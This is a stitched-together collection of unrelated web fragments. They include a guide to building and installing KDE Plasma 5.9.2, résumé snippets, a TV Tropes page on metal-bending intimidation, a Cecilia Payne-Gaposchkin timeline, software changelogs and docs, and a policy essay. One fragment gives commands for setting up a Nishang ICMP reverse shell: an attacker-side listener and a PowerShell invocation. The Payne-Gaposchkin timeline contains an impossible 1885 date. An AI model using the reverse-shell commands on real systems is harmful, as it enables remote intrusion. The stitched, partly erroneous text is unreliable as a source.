#4eff8049e19ca87cab6c94d208089f62 breeze-grub-5.9.2.tar.xz
#6ff3b8b9d178c17f7b760d5da34b4eb7 breeze-plymouth-5.9.2.tar.xz
e64bd0bc6d95847e24b37335c4071483 kactivitymanagerd-5.9.2.tar.xz
777a8590c34777d0e9f5c40a6226b91a plasma-integration-5.9.2.tar.xz
9bcb2aa6e73acc860389c0dfac76c242 plasma-tests-5.9.2.tar.xz
EOF
The breeze-grub and breeze-plymouth packages above are both for customized support of Plymouth which is designed to be run within an initial ram disk during boot (see the section called “About initramfs”). The plasma-sdk package is optional and used for software development.
When installing multiple packages in a script, the installation needs to be done as the root user. There are three general options that can be used to do this:
Run the entire script as the root user (not recommended).
Use the sudo command from the Sudo-1.8.19p2 package.
Use su -c "command arguments" (quotes required) which will ask for the root password for every iteration of the loop.
One way to handle this situation is to create a short bash function that automatically selects the appropriate method. Once the command is set in the environment, it does not need to be set again.
as_root() { if [ $EUID = 0 ]; then $* elif [ -x /usr/bin/sudo ]; then sudo $* else su -c \\"$*\\" fi } export -f as_root
First, start a subshell that will exit on error:
bash -e
Install all of the packages by running the following commands:
while read -r line; do # Get the file name, ignoring comments and blank lines if $(echo $line | grep -E -q '^ *$|^#' ); then continue; fi file=$(echo $line | cut -d" " -f2) pkg=$(echo $file|sed 's|^.*/||') # Remove directory packagedir=$(echo $pkg|sed 's|\.tar.*||') # Package directory tar -xf $file pushd $packagedir mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=$KF5_PREFIX \ -DCMAKE_BUILD_TYPE=Release \ -DLIB_INSTALL_DIR=lib \ -DBUILD_TESTING=OFF \ -Wno-dev .. && make as_root make install popd as_root rm -rf $packagedir as_root /sbin/ldconfig done < plasma-5.9.2.md5 exit cd $KF5_PREFIX/share/plasma/plasmoids for j in $(find -name \*.js); do as_root ln -sfv ../code/$(basename $j) $(dirname $j)/../ui/ done
ln -sfv ../code/$(basename $j) $(dirname $j)/../ui/: Create symbolic links so qml files can find needed javascript modules.
If you built Plasma with the recommended Linux PAM support, create necessary
configuration files by running the following commands as the
root
user:
cat >> /etc/pam.d/kde << "EOF" # Begin /etc/pam.d/kde auth requisite pam_nologin.so auth required pam_env.so auth required pam_succeed_if.so uid >= 1000 quiet auth include system-auth account include system-account password include system-password session include system-session # End /etc/pam.d/kde EOF cat > /etc/pam.d/kde-np << "EOF" # Begin /etc/pam.d/kde-np auth requisite pam_nologin.so auth required pam_env.so auth required pam_succeed_if.so uid >= 1000 quiet auth required pam_permit.so account include system-account password include system-password session include system-session # End /etc/pam.d/kde-np EOF cat > /etc/pam.d/kscreensaver << "EOF" # Begin /etc/pam.d/kscreensaver auth include system-auth account include system-account # End /etc/pam.d/kscreensaver EOF
You can start Plasma5 from runlevel 3, using xinit-1.3.4, or from runlevel 5, using a Display Manager, such as sddm-0.14.0.
To start Plasma 5 using xinit-1.3.4, run the following commands:
cat > ~/.xinitrc << "EOF"
ck-launch-session dbus-launch --exit-with-session $KF5_PREFIX/bin/startkde
EOF
startx
The X session starts on the first unused virtual terminal, normally vt7. You can switch to another vtn simultaneously pressing the keys Ctrl-Alt-Fn (n=1, 2, ...). To switch back to the X session, normally started at vt7, use Ctrl-Alt-F7. The vt where the command startx was executed will display many messages, including X starting messages, applications automatically started with the session, and eventually, some warning and error messages. You may prefer to redirect those messages to a log file, which not only will keep the initial vt uncluttered, but can also be used for debugging purposes. This can be done starting X with:
startx &> ~/x-session-errors
You may wish to drop consolekit and/or dbus-launch, e.g., just using startkde in ~/.xinitrc. However some capabilities such as mounting or umounting file systems from a file manager will not be possible, or the reboot option may be absent or inoperative, among other problems.
When shutting down or rebooting, the shutdown messages appear on the vt where X was running. If you wish to see those messages, simultaneously press keys Alt-F7 (assuming that X was running on vt7).
Last updated on 2015-09-24 16:44:04 -0500


Methodology:
Used Libraries and algorithms: pandas, numpy, matplotlib, seaborn, scikit learn, Logistic regression, Random forest
Project achievements: Developed classification predictive models of 81% of accuracy on customer profile to minimise the risk of disbursing a loan to potential loan defaulters.
Methodology:
Used Libraries and algorithms: pandas, numpy, matplotlib, seaborn, scikit learn, K-Means ++
Project achievements: - Developed dealers clustering model to design customized schemes and policies for them.
Methodology:
Used Libraries and algorithms: pandas, numpy, matplotlib, seaborn, scikit learn, Logistic regression, decision tree, Random forest
Project achievements: - Developed classification predictive model on dealers to minimise risk of TA disbursement.
Elements in Dashboard:
Technology used: Tableau
Project achievements: - Built interactive dashboards in Tableau to track real time progress of Quality elements.


Music Production 101
Home
About
Evaluate
Start
Start
Not sure where to start? Watch this video to get a good idea
of how you can do just that.
Here is an example of recorded drums:
Go to top


Nishang PowerShellICMP requires a server-side piece called icmpsh_m.py, which is not included in the repo. It can be obtained here or in child page.
#make sure you ignore sending echo replies
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#start server on attacker
python icmpsh_m.py <LHOST> <RHOST>
#invoke shell, place at bottom of Invoke-PowerShellIcmp to exec automatically
Windows pswh > Invoke-PowerShellIcmp -IPAddress <LHOST>


Settings
You have 2 notifications
Awesome aminmate.css
10 minit ago
Awesome aminmate.css
10 minit ago
Username
<EMAIL_ADDRESS>Settings
Profile
30%
Help
Logout
Site map
Media
Records
Create new
Job category
Records
Create new
Subcategory
Records
Create new
Company
Records
Create new
Corporate job post
Records
Create new
Government job post
Records
Create new
Newspaper job post
Records
Create new
Admit card post
Records
Create new
Job result post
Records
Create new
Workshop
Records
Create new
Video guides
Records
Create new
Blog post
Records
Create new
Pages
About EJobsBD
Faq
Privacy policy
Disclaimer
Exam category
Records
Create new
Exam subject
Records
Create new
Exam
Records
Create new
Question
Records
Create new
Corporate
Registration records
Registration create
Job post records
Job post create
Single page
Deshboard
App
Report
Analysis tools
Site map
Contact
Profile
Settings
Job seeker
Registration records
Registration create
Credential page
Login page
Error page


Cecilia Payne-Gaposchkin
The woman who discovered what stars are made of
Cecilia Payne-Gaposchkin was one of the great astronomers in history and the first to determine what stars are made of.
- 1900 - Payne-Gaposchkin was born in England.
- 1920 - Payne completed his studies in Physics and Chemistry at the University of Cambridge, a university that allowed the presence of women, but without giving them an official degree.
- 1923 - she arrived at the Harvard College Observatory.
- 1885 - she was employed at the Observatory along with 80 other women to study glass photographs of the stars. They would later be known as Harvard's "computer" women. She was there until 1927.
- 1925 - During her research for her doctorate. Payne concluded that stars are composed of hydrogen and helium. Although she was ridiculed, since during that time it was believed that stars had a similar chemical composition to Earth.
- 1929 - Henry Norris Russell after recommending to Payne that he remove that idea from her thesis, stating that those results were "clearly impossible." He acknowledged that Payne was right
La propia Payne se describió a sí misma como "una rebelde contra el rol femenino" y declaró que su verdadera rebelión "estaba en contra de ser pensada y tratada como inferior".
-- BBC New Mundo


Replace list.append
to base append
for ...
in dw_edit_chart()
. (fixes #59)
Add transparent export option.
parsed
in sprintf
-option to R with a httr
-call in dw_handle_errors()
.Introducing a dw_legend_to_string()
-function to create a mobile-friendly legend. But will already be deprecated soon, as Datawrappers now offers a similar option by default.
dw_publish_chart()
can now return a object which contains information about the chart (id, embed-code, url).
Add a theme
-argument to dw_create_chart()
.
dw_create_chart()
and dw_edit_chart()
. (fixes #38)Adds a axes
-argument to dw_edit_chart()
which enables users to change the axes from within {DatawRappr}.
Includes a basemap-dump dw_basemaps
as a data.frame (#36)
Adds the three dots … to dw_edit_chart()
to allow any modification to the call-body.
Fixes handle_reset()
-issue - hopefully permanently by including it into dw_publish_chart()
. Thanks to @fin! (fixes #31)
Adds a new way to dw_data_to_chart()
to allow data which contain commas, quotes or newlines to be parsed correctly before sending it to Datawrapper. (fixes #34)
Clearifies error messages in case something goes wrong when communicating with the API. (fixes #32)
handle_reset()
to dw_edit_chart()
to allow multiple edit-calls to the API during a session. Until now a 401-error was raised. (fixes #31)dw_edit_chart()
is working as expected again, after an API-error was resolved by Datawrapper. (#29)dw_export_chart()
returns the published chart as png, pdf or svg (the later two only in paid plans) in R. Thanks to Bob Rudis (@hrbrmstr) for including this function.
dw_list_charts()
now returns a data frame (classed as a tibble).
dw_edit_chart()
now also includes a byline argument to include the name of the chart’s creator. (#30)
The DESCRIPTION now uses the person() format.
There is now a package-level documentation file that also includes the hex logo.
There is now a package user-agent string added to the API-call.
Adds a “Chart Types” section to create and edit functions to avoid the need to go to the online reference.
dw_data_to_chart()
now includes a parse_dates
argument which automatically transforms all Date- or POSIX*-columns in the dataframe to character vectors, if not set to FALSE. (#25)


Things are looking bad now. You've made the monster really angry. It's going to beat down on you mercilessly. But it's all right; you think you can take this guy. You grab a metal beam to use as an Improvised Weapon and swing it away...
...except the monster has grabbed it out of your hands and has bent it into a nice right angle. For added threat, the monster could go the extra mile and twist it into a pretzel, and then discard the beam. This is generally a good signal to take the extra seconds you bought to turn and run as fast as you can. If the monster could do that to solid metal, imagine what it could do to human bones.
The beam need not be an actual beam; things such as swords or ray guns can also be bent to make a similar point that the foe has Super Strength and is not to be underestimated. Subtrope of Intimidation Demonstration.
Not to be confused with Extra-ore-dinary.
Examples:
- Wild Tiger's introduction in Tiger & Bunny has him bending monorail tracks into a knot.
- Dragon Ball Z: The Saiyans have done this on occasion. Most of the times it is Played for Laughs.
- Exploited in an Archie comic. One day Archie and Jughead went to the landfill and picked up a bent iron pipe. The two of them took it to a road construction site where similar pipes were waiting to be installed. Then, when arch-rival Reggie walked by, Archie grabbed the bent pipe while Jughead yelled that the construction crew would "...be mad if you keep messing up their pipe like that." This freaked Reggie out big time.
- In another Archie, Moose is trying to keep his temper rather than behaving as the Crazy Jealous Guy he usually is when any other boy talks to his girlfriend Midge.  The Reveal comes as he steps away from the fence, showing the iron bars twisted into pretzels where he had been bending them behind his back.
- Used in PS238 to demonstrate that Argonaut has regained his powers. He hasn't; the beam he uses was gimmicked beforehand.
- An early Lucky Luke comic has a boxer try to intimidate the other by putting a horseshoe around his arm and then bending it by flexing his muscles. He gives it to the other boxer "as a lucky charm", only for the other boxer to give it back to him with a knot in the middle, saying he isn't superstitious.
- Wonder Woman:
- Wonder Woman (1942): Diana very regularly bends, twists and tears bars meant to imprison her or her friends, and flashbacks show that she and Mala have been capable of doing this since they were Amazonian children.
- Wonder Woman (2006): Genocide wraps Diana's arm in a steel support beam after forcing her to watch the slaughter of innocents and defeating her in battle.
- Sensation Comics Featuring Wonder Woman: When a Loony Fan pulls a shotgun on Diana in "Bullets and Bracelets" she grabs the gun and folds the barrels in half.
- In the Doom film, during the fight of Reaper and the infected Sarge. Reaper takes a detached railing and uses it to stab Sarge's hand. Sarge bends the beam around his hand to make improvised brass knuckles.
- Short Circuit 2 has the robotic Johnny Five pull off the pretzel variant when attacked by thieves trying to get him off their tail. Being an Actual Pacifist turned Technical Pacifist, he discards the bent beam and uses his metal-bending strength to contain one thief by rolling him up in a mesh fence.
- Suburban Commando has the alien bounty hunters show off their strength to Shep by bending a metal bar. The first one bends it into a V shape, the second one straightens it out again. Shep one-ups them by bending it into the shape of a bunny.
- Hulk. The Incredible Hulk bends back a tank's cannon so it's pointing at the wide-eyed crew.
- In The Dark Knight, Batman bends the barrel of one of the Bat-Vigilanties' guns with one hand (the whirring sound that accompanied the act indicated mechanical assistance).
- RoboCop (1987) features another instance of the titular hero bending a crook's gun barrel with one hand. Both this and the Dark Knight example have characters with mechanical Super Strength to justify it on their end, but Willing Suspension of Disbelief is still required, because the gunmen would have to be equally strong to hold the weapon steady while it was being bent.
- Some Norse folklore recounted in the American Gods novella "Monarch of the Glen" makes use of this trope. There is a seductive forest creature called the Huldra/Hulder, which looks like a beautiful woman with a cow's tail. Sometimes men will win their love and will marry them, causing them to lose their tail. If a human husband mistreats the Huldra, she will remind him of her strength by bending barehanded a horseshoe or fireplace poker (sometimes a red hot one at that).
- Animorphs: When the Venber are first encountered, one of them is seen bending rebar like spaghetti in arctic conditions.
- In Harry Potter and the Philosopher's Stone, when Hagrid appears Uncle Vernon threatens him with a rifle. Hagrid yanks the gun out of his hands, ties the barrel in a knot, and chucks it in the corner.
- The Sherlock Holmes story The Adventure of the Speckled Band has Dr. Roylott threaten Holmes by bending an iron poker in half. After he leaves, the totally unfazed Holmes straightens it back.
- In one of The Dresden Files novels, Thomas helps Harry intimidate some of Marcone's thugs by twisting a couple of barbells together.
- In the second Alex Rider book, The Dragon bends a crowbar with her bare hands to prove a point (and that was before she knew who Alex really was).
- In one Man-Kzin Wars anthology, a human telepath sneaks aboard a kzinti ship disguised as a kzin. He ends up in a duel with a kzin, preceded by a contest of this trope to determine the handicap. He ends up selecting a bar one grade thicker than his opponent's, and projecting an illusion bending the bar and then straightening it again, relying on the kzinti lack of curiosity to keep his deception undiscovered.
- The Adventures of Superman
- Superman regularly bends the villains' guns after they get done Shooting Superman; when the guns are rifles or shotguns Superman often twists them into knots.
- In one episode a pawnshop specializes in items Superman has previously bent, but it turns out they're counterfeit: the store owner uses a bench vise to artificially bend the merchandise
- In an episode of Buffy the Vampire Slayer our protagonist shows a werewolf hunter what's what by bending the barrel of his rifle into a neat curve.
- Star Trek: The Original Series
- When Kirk confronts Khan in the Enterprise engine room in "Space Seed," Khan grabs Kirk's phaser away from him and bends/crushes it in his bare hands. During the ensuing fight he boasts that he has five times Kirk's strength.
- In the short-lived 70s' superhero teamup show Legends of the Superheroes, Giganta makes an appearance. Since the show had an extremely limited budget, special effects to display her growth power were out of the question, so her super-strength is demonstrated by her bending a prop metal bar instead.
- The Incredible Hulk did it often in his show.
- In the Supernatural episode "All Hell Breaks Loose, Part One" (S02, Ep21), Sam tries to loosen one of the spokes from the steel tractor wheels by repeatedly banging on it with the fireplace poker. Jake simply grabs the spoke with his bare-hand and pulls it off the wheel.
- In WonderWoman our heroine is occasionally shown taking the guns out of her enemies' hands and bending them or snapping them in half. One instance involved a poker.
- Doctor Who. In "Paradise Towers" Pex, who is proud of his survivalist skills and dismayed at Mel's refusal of his services, snaps a lightpost from the wall and bends the metal with his hands.
Mel: (deadpan) Pex, if you could bend that back into shape and put it back where it came from, you might be more use. But you can't, can you?
- Bending metal bars around her forearms was a favorite of Ada Ash, showing off not just strength but also her pain tolerance. Joan Rhodes also bent metal, though not around herself.
- Lucha Underground: At Aztec Warfare II, Joey Ryan tried to sit out the match by handcuffing himself to a railing. Unfortunately for him, Matanza was strong enough to bend and break the railing with one hand and drag him to the ring.
- In Crash Team Racing, in the Adventure Mode's character selection, Tiny Tiger is effortlessly juggling a barbell around. If you select him, he'll bend the barbell into right angles.
- In Batman: Arkham City and Batman: Arkham Origins, Batman does this when he uses his disarm and destroy technique on pipe-armed henchmen. The intimidation aspect is subverted when the henchmen continue attacking.
- One episode of Batman Beyond had Maxine in pursuit with a genetically altered human-dinosaur hybrid. She tries to fight him off with a metal bar she finds, only for the dinosaur man to bend it.
- In Futurama there's a class of robots who have this as their sole purpose: they bend girders. The main character Bender is one of them. When the Planet Express crew attend robot Olympics, this trope is shown when several brawny robot competitors in a bending competition twist several extremely large girders labelled "unbendable" into very intricate knots. This impresses Bender, knowing that he would never be able to keep up with that kind of strength.
- Looney Tunes:
- While not depicted as being super strong, Bugs Bunny will on occasion bend Elmer's shotgun, even tying it into a knot.
- In the short "Muscle Tough", Daffy Duck gets into a strength contest with a bodybuilder, who ties a pipe around a pole. Daffy tries it with a fishing pole, but only manages to tie himself into a knot.
- Sadie Mae from Scooby Doo Meetsthe Boo Brothers takes her brother's rifle, bends it into a circle and uses it to bind him.
- When the scientists of 1939 Griffin Rock find the Rescue Bots have entered their time portal, they run the bots through a battery of tests, including ordering Heatwave to bend a large metal beam.
- Star Wars: The Clone Wars, "Hostage Crisis": When Anakin, who is currently without his lightsaber or any other weapons, tries to wrestle the blaster away from Bane's assassin droid the droid bends the barrel into a U shape right as Anakin gets to where he could shoot the droid with it.
- WordGirl can do this, often to tie up the villains. In one episode, she does it to a steel I-beam as a warning to any villains who were thinking of interrupting her favorite TV show.
- King Augustus II of Saxony and Poland (aka Augustus the Strong) liked to show off his strength by ripping a horse iron apart, which is mentioned in the novel Krabat.
- Peter the Great liked to boast his strength by bending, twisting, and tying iron fireplace pokers into knots.


What I value personally:
My strengths are in my ability to relate to others, patience, empathy, ability to teach, organization and determination.
Areas that I need to develop are my big picture thinking/plan of attack - I need to work more on breaking things down into bite sized chuncks. Boundaries with my self and my time. And taking things personally - this is something that I have flagged and have been working on for YEARS but it will always be a WIP.


{% import 'macros.html' as macros %} {% macro display_user(user) %}
Username: {{ user.username }}
Comments: {{ user.comments|length}}
Benwa?: probably not
Recent Posts: All - {{ user.posts|length}}
Recently they LOVE these benwa: All - {{ user.likes|length}}


Electric Dipole Simulation via Lagrangian-Eulerian Advection
This visualization implements the techniques in
Lagrangian-Eulerian Advection of Noise and Dye Textures for Unsteady Flow Visualization
to create an electric dipole simulation.


Example 1.5.6. Find the Polsby-Popper score for the district above in Figure 1.5.4. HintAnswerSolution


{{period}} data for {{param1}}/{{param2}}
{{ offline_fig1|safe }}
{{ offline_fig2|safe }}
First param:
Temperature in
Temperature out
Humidity in
Humidity out
Atmospheric pressure
Dew point
Second param:
Temperature in
Temperature out
Humidity in
Humidity out
Atmospheric pressure
Dew point
Period:
Hour
Day
Week
Month
Year


Various places in the cairo API deal with reading and writing data, whether from and to files, or to other sources and destinations. In these cases, what is typically provided in the C API is a simple version that just takes a filename, and a complex version that takes a callback function. An example is the PNG handling functions:
cairo_surface_t * cairo_image_surface_create_from_png (const char *filename); cairo_surface_t * cairo_image_surface_create_from_png_stream (cairo_read_func_t read_func, void *closure); cairo_status_t cairo_surface_write_to_png (cairo_surface_t *surface, const char *filename); cairo_status_t cairo_surface_write_to_png_stream (cairo_surface_t *surface, cairo_write_func_t write_func, void *closure);
The expectation is that the filename version will be mapped literally in the language binding, but the callback version will be mapped to a version that takes a language stream object. For example, in Java, the four functions above might be mapped to:
static public ImageSurface createFromPNG (String filename) throws IOException; static public ImageSurface createFromPNG (InputStream stream) throws IOException; public void writeToPNG (String filename) throws IOException; public void writeToPNG (OutputStream stream) throws IOException;
In many cases, it will be better to
implement the filename version internally
using the stream version, rather than building it on top of the
filename version in C. The reason for this is that will
naturally give a more standard handling of file errors for
the language, as seen in the above Java example, where
createFromPNG()
is marked as raising
an exception. Propagating exceptions from inside the callback
function to the caller will pose a challenge to the language
binding implementor, since an exception must not propagate
through the Cairo code. A technique that will be useful in
some cases is to catch the exception in the callback,
store the exception object inside a structure pointed to by
closure
, and then rethrow it once
the function returns.
I'm not sure how to handle this for
cairo_pdf_surface_create_for_stream()
.
Other than keep a “exception to rethrow” thread-specific
variable
that is checked after every call to a Cairo
function.


User Interaction Based CSRF Defense
While all the techniques referenced here do not require any user interaction, sometimes it’s easier or more appropriate to involve the user in the transaction to prevent unauthorized operations (forged via CSRF or otherwise). The following are some examples of techniques that can act as strong CSRF defense when implemented correctly.
Re-Authentication (password or stronger)
One-time Token
CAPTCHA
While these are a very strong CSRF defense, it does create a huge impact on the user experience. For applications that are in need of high security for some operations (password change, money transfer etc.), these techniques should be used along with token based mitigation. Please note that tokens by themselves can mitigate CSRF, developers should use these techniques only to achieve additional security for their high sensitive operations.


Hack and Tell. Show and tell for nerds.
Got a hack you want to show off? Here's how we do things.
- You get 5 minutes to show off your hack.
- Then you get 5 minutes to answer questions from the audience.
- Your hack can use any language/platform/whatever, and can be almost anything that would belong in a vanilla hackathon. Have questions about what this means? Drop me a line.
- It is free. Always will be. It would be antithetical to hacker culture to charge admission!
Hack and Tell Seattle is (informally) organized by this guy. Got questions? Feel free to email me at clemmer.alexander@gmail.com.


All proceeds go to programs and services directly benefiting victims of domestic violence an their children
Maintaining and organizing the name badges of volunteers along with cataloging any changes made to the current list of volunteers.
Pricing rare or unusual items and suggesting the sale of specific items on Craigslist, eBay, or similar platforms. Some experience required.
Creating displays for storefront and creating promotional materials to attract customers along with making sure all visuals are up to date.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit.
Lead Designer
Lead Marketer
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aut eaque, laboriosam veritatis, quos non quis ad perspiciatis, totam corporis ea, alias ut unde.


I am a 3rd Year Software Engineering student with 2 year of customer service experience, 5 months of volunteer experience (RoboGals & Digitronics), various school projects in Java, C++, Front and Backend with ASP.NET Core MVC, SQL, Node.js, Express, Junit5, Selenium; personal programing projects include: Android Development and OpenCV.
• Resolved different problems raised efficiently with the guest and contributed to raise the score of the hotel in Booking.com by 0.4
• Contributed 2.13% of the total revenue of the month of July of the hotel by up-selling during Calgary Stampede
• Participated at Beakerhead 2017 and achieved 2nd runner up
• Built self-driving car equipped with mapping and image processing, temperature and HC-SR04 ultrasonic distance sensor
• Mentored over first and second year students interested in learning Arduino
• Taught them how to use various sensors, libraries and circuit boards
GPA: 3.10
GPA: 4.00
Apart from being a software engineering, I enjoy most of my time being outdoors. In the winter, I am an avid skier and novice ice climber. During the warmer months here in Calgary, I enjoy mountain biking, free climbing, and kayaking.
When forced indoors, I follow a number of sci-fi and fantasy genre movies and television shows, I am an aspiring chef, and I spend a large amount of my free time exploring the latest technology advancements in the full stack web development world.


Used by the [page:CubeCamera] as its [page:WebGLRenderTarget].
See [page:CubeCamera] for examples.
[page:Float size] - the size, in pixels. Default is `1`.
options - (optional) object that holds texture parameters for an
auto-generated target texture and depthBuffer/stencilBuffer booleans. For
an explanation of the texture parameters see [page:Texture Texture]. The
following are valid options:
[page:Constant wrapS] - default is [page:Textures ClampToEdgeWrapping].
[page:Constant wrapT] - default is [page:Textures ClampToEdgeWrapping].
[page:Constant magFilter] - default is [page:Textures .LinearFilter].
[page:Constant minFilter] - default is [page:Textures LinearFilter].
[page:Boolean generateMipmaps] - default is `false`.
[page:Constant format] - default is [page:Textures RGBAFormat].
[page:Constant type] - default is [page:Textures UnsignedByteType].
[page:Number anisotropy] - default is `1`. See
[page:Texture.anisotropy]
[page:Constant colorSpace] - default is [page:Textures NoColorSpace].
[page:Boolean depthBuffer] - default is `true`.
[page:Boolean stencilBuffer] - default is `false`.
Creates a new [name]
[page:WebGLRenderer renderer] — the renderer.
[page:Texture texture] — the equirectangular texture.
Use this method if you want to convert an equirectangular panorama to the cubemap format.
Call this to clear the renderTarget's color, depth, and/or stencil buffers. The color buffer is set to the renderer's current clear color. Arguments default to `true`.
[link:https://github.com/mrdoob/three.js/blob/master/src/[path].js src/[path].js]


[This site is for distribution of question papers online]
- Sign up, if you are new user
- Put the necessary documents as wanted
- Login in your account
- You can find friends if you are from same university
- You can find question papers from many universities and yours too, if not then upload yourself
- You can download question papers
- You can upload question papers
- Be sure to check terms and condition for uploading question papers
- You can discuss and post comments as answers to question papers,this will help to create the answers
which are not solved
and most of you are experienced enough so you can even answer better than books!


My first job after graduating college was as a public policy analyst for the National Institute for Transparency in Mexico. Specifically, my job was to design and implement policies that would facilitate access to public information. At that time, the Institute was undergoing a massive structural reform which dramatically expanded its jurisdiction from the federal to the national, meaning that it was now responsible for supervising and guaranteeing public information access for all three levels of government.
In accordance to the 2015 structural reform, my office sought to implement a national survey to quantify and understand the access to public information gaps between states and the federal government. To complement our efforts, we partnered with graduate students from the Masters in Data Science at ITAM to develop a platform that condensed and visualized data on public information request trends and the demographic characteristics of those who submitted them. The main purpose of this was to have an evidence-based diagnosis of transparency at a national scale.
Unlike the other departments within the Institute, my office was comprised of young professionals with similar policy backgrounds. The partnership with Data Science graduate students also fostered a specific culture with a focus on innovation and an agile framework. Together, we were able to coordinate and sketch out a web platform that would compile millions of observations on public information requests over the past decade. Nonetheless, access to most of the data required permission from the IT Department.
In addition to guarding access to the Institute’s historical data, the IT Department was also in charge of developing a second platform - the National Transparency Platform - that would allow users to create and submit public information requests. This project overlapped with our own because it was the main source through which data on user demographics would be collected. Nonetheless, the two platforms had two different goals - ours’ to make a diagnosis and the IT department’s to provide a public service.
Both platforms; hence, followed two distinct models. One was based on recruiting outside talent, and the other used inhouse services and long-term contracts with the IT department. By participating in this process, I was able to compare and contrast the implications and outcomes of both models. While my office mostly coordinated with students in order to have a pilot we could improve and build on, the IT department avoided cooperating with other departments and had a fixed date for the release of their final product.
Six months after working on this project, I was offered a job elsewhere and left the Institute. When I left, my office’s project was already in its first-stage and successfully visualized cyclical patterns between electoral years and public information requests. On the other hand, the IT’s project was kept secret until May 6th, 2016 when it was released to the public.
The public’s reaction to the National Transparency Platform was disastrous. A day after it was published, 19 Mexican civil society organizations formed a coalition and published a decalogue of demands. Among these were: present the platform’s information in a logic and simple format, improve front-end design, use an API that allowed for past requests to be downloaded, and adherence to open source standards as well as transparency on the procurement processes. In addition to these concerns, civil society demanded accountability of the 19 million pesos (3 million USD) spent on the project. Last but not least, at the time of the release, the project I had collaborated on had been shut down due to lack of access to the data my team needed in order to proceed. In 2017, a year after the National Transparency Platform was first published, the Institute continued to receive terrible press and over 650 technical support requests were reported.
After I learned the outcomes of both platforms, I was not surprised. Still, I felt a lot of frustration for my team’s wasted efforts and the impotence of having forecasted the National Transparency Platform’s imminent failure a year before. Now, in retrospective, I consider the Institute had good intentions towards technology and innovation. Nonetheless, I consider it lacked the political will to reorganize its’ structure and create change.
A possible explanation on why there was a lack of political will was that after the 2015 reform, the Institute was highly politicized and many political parties were allowed to indirectly appoint councilmembers. Furthermore, the IT department was part of the larger structure that did not allow for any flexibility or change. Long-term contacts, slow obsolete procurement processes and corrupt tenders were also a significant obstacles for change.


PyGaze Framework¶
Code documentation¶
EventHandler¶
-
class
msrresearch_helpers.pygaze_framework.
EventHandler
(keylist=[], time=500, name='EventHandler')¶ Bases:
threading.Thread
This class shall be used to detect button press and AOI/fixation events etc.
Parameters: -
class
BlinkDetector
(tracker, name='BlinkDetector')¶ Bases:
threading.Thread
A class to detect blinks
Parameters: tracker (pygaze_framework.OurTracker object) – Eyetracker to detect blinks
-
class
EventHandler.
Fixation_Detector
(aoi_pos, aoi_size, aoi_event, tracker, aoi_tol=0, aoi_type='rectangle', name='GazeEvent')¶ Bases:
threading.Thread
An object to detect fixations on a given AOI.
Parameters: - aoi_pos –
- aoi_size –
- aoi_event –
-
class
EventHandler.
JADetector
(tracker, name='JADetector')¶ Bases:
threading.Thread
A class to detect joint attention by agent and participant
Parameters: tracker (pygaze_framework.OurTracker object) – Eyetracker to detect blinks
-
class
EventHandler.
MyEvent
¶ An extension of
threading.Event
with the possibility to pass information from the thread setting the event to all threads waiting for the event to be raised.See also
-
clear
()¶ Resets the inner flag to
False
-
is_set
()¶ Returns
True
if and only if the inner flag of the Event object is True.
-
set
(msg=None)¶ Sets the internal flag to
True
and lets the threads waiting resume.Parameters: msg (object) – Anything, which should be given to all waiting threads
-
-
EventHandler.
create_aoi_from_coordinates
(name, position, size, aoi_tolerance=0, aoi_type='rectangle')¶ Method to create AOI and Fixation_Detector from given coordinates
Parameters:
-
EventHandler.
create_aoi_from_image
(name, image, aoi_tolerance=0.0, aoitype='rectangle')¶ Method to create AOI and Fixation_Detector on image
Parameters: - name (str) – Name of AOI
- image – Image to which AOI is created
-
EventHandler.
create_events
(keylist)¶ Create events for buttons presses
Parameters: keylist –
-
EventHandler.
start_fixation_detectors
()¶ Method to start all fixations detectors for all AOIs
-
EventHandler.
wait_for_either_key
(keylist)¶ A function to wait for one of a given list of keys to be pressed.
Todo
wait_for_either_key()
rewrite this function to work withMyEvent
-
class
ScreenHandler¶
-
class
msrresearch_helpers.pygaze_framework.
ScreenHandler
(event_handler=None, agent_dir=None, agent_size=None, agent_pos=None, agent_dict=None, tar_dir=None, tar_size=None, tar_dict=None, resize_proportional=True)¶ This class should be used to handle all screen related issues.
Parameters: - event_handler (A pygaze_framework EventHandler object) – Event handler
- agent_dir (use os.path.join method) – directory where all images of agent are located
- agent_size (list) – Size of agent in pixels
- agent_pos (tuple) – Postion of agent on screen
- agent_dict (dict) – A dictionary containing translation from names used in this framework and the filenames of the images of the agent
- tar_dir (use os.path.join method) – directory containing all objects which will be presented on the screen
- tar_size (tuple) – Size of targets in pixels
- tar_dict (dict) – dictionary containing translation between internal use and file names
- resize_proportional (boolian) – KP
-
class
Image
(file_name, position=(0, 0), size=None, scale_factor=1)¶ A class to store images.
In order to make a interaction with images as easy as possible, this class the possibility to store all necessary information of an image to have easy access to them. This is especially intended to be used with the four images relevant functions of Screen_Handler.
Parameters: - file_name – The filename of the image
- position (tuple, list) – A tuple or a list of the x and y coordinate of the image.
- size (tuple, list) – The size of the image. If None, the original size of the image will be used.
- scale_factor (float) – The factor to rescale the imige
-
get_ulc_pos
()¶ Returns the position of the upper left corner.
Returns: position of the upper left corner
-
move
(new_position)¶ Move the image to a new location on the screen.
Parameters: new_position (list, tuble) – the new absolute position on the screen. Todo
move()
Implement relative movement.
-
resize
(new_size, proportional=True)¶ A function to resize or rescale the image.
Whether to resize or rescale the image is defined by the type of new_size: If it is list or tuple, the image will be resized, if it is float or int, it will be rescaled.
Parameters: - new_size (list, tuple, int, float) – The target size or scaling factor.
- proportional (bool) – Whether the aspect ratio of the image should be kept while resizing. If True, the image will be scaled to fit completely within the rectangle drawn by new_size. Irrelevant for rescaling.
-
ScreenHandler.
draw_agent_on_target_screen
(agent, tracker=None)¶ Function to draw current agent on screen
Parameters: - agent (str) – Name of agent to be drawn
- tracker (
OurTracker
) – The eyetracker used in the experiment
-
ScreenHandler.
draw_image
